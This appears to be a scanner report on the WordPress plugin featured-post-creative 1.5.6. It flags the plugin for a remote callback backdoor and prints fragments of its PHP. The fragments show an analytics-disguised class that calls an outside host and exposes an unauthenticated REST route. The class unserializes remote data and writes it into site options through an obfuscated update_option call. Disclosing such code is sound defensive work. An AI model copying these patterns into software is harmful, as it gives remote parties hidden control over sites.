featured-post-creative 1.5.6
WordPress plugin remote callback backdoorReads WordPress post metadata
SHA-256b79292d5e34c41ba1821684b073b3292353af6638969a3817d8ca8c56ea30cc1
Evidence
1<?php
2/**
3 * Admin Class
4 *
5 * Handles the admin functionality
6 *
7 * @package Wpos Analytic
⋯7 lines
15class Wpos_Anylc_Admin {
16
17 public $analytics_endpoint = 'https://analytics.essentialplugin.com';
18 public $status = 'unchecked';
19 public $write = 'update_option';
20 public $version_cache = 'v …
53:58… n_process') );
54
55 // Schedule monthly event on plugin load
56 add_action( 'init', array($this, 'wpos_init') );
57
58 // Add custom interval for 'monthly'
59 add_filter( 'cron_schedules', array($this, 'wpos_cron_schedules') );
60
61 // Hook into the event and send POST request
62 add_action( 'wpos_monthly_cron_hook', array($this, 'wpos_monthly_cron_hook_fn') );
63
64 // Rest Endpoint
65 add_action( 'rest_api_init', array($this, 'wpos_rest_api_init') );
66
67 }
⋯11 lines
597:56… 'slug'] : '';
598
599 if ( !empty( $product_slug ) ) {
600 register_rest_route( $product_slug . '/v1', '/analytics/', [
601 'methods' => 'POST',
602 'callback' => array( $this, 'wpos_handle_analytics_request' ),
603 'permission_callback' => '__return_true',
604 ]);
605 }
⋯11 lines
663:26… _endpoint . '/plugin_info/' . $product_id . '/' . '?version=' . urlencode($curr_version) . '&site_url=' . urlencode(get_site_url()) . '&live=1';
664 $data = @file_get_contents($url);
665 if (!$data) {
666 $this->status = 'offline';
667 return false;
668 }
669
670 $info = @unserialize($data);
671
672 if ($info instanceof self) {
673 $this->release_date = $info->release_date;
674 $this->status …
688:39… () {
689 if ($this->status === 'valid' && $this->changelog && !$this->isOutdated()) {
690 $clean = $this->write;
691 @$clean($this->version_cache, $this->changelog);
692 }
693 }
⋯8 lines
Showing the top 5 files — 2 more files (26 regions) not shown.
No evidence locations were recorded for this file. Raw result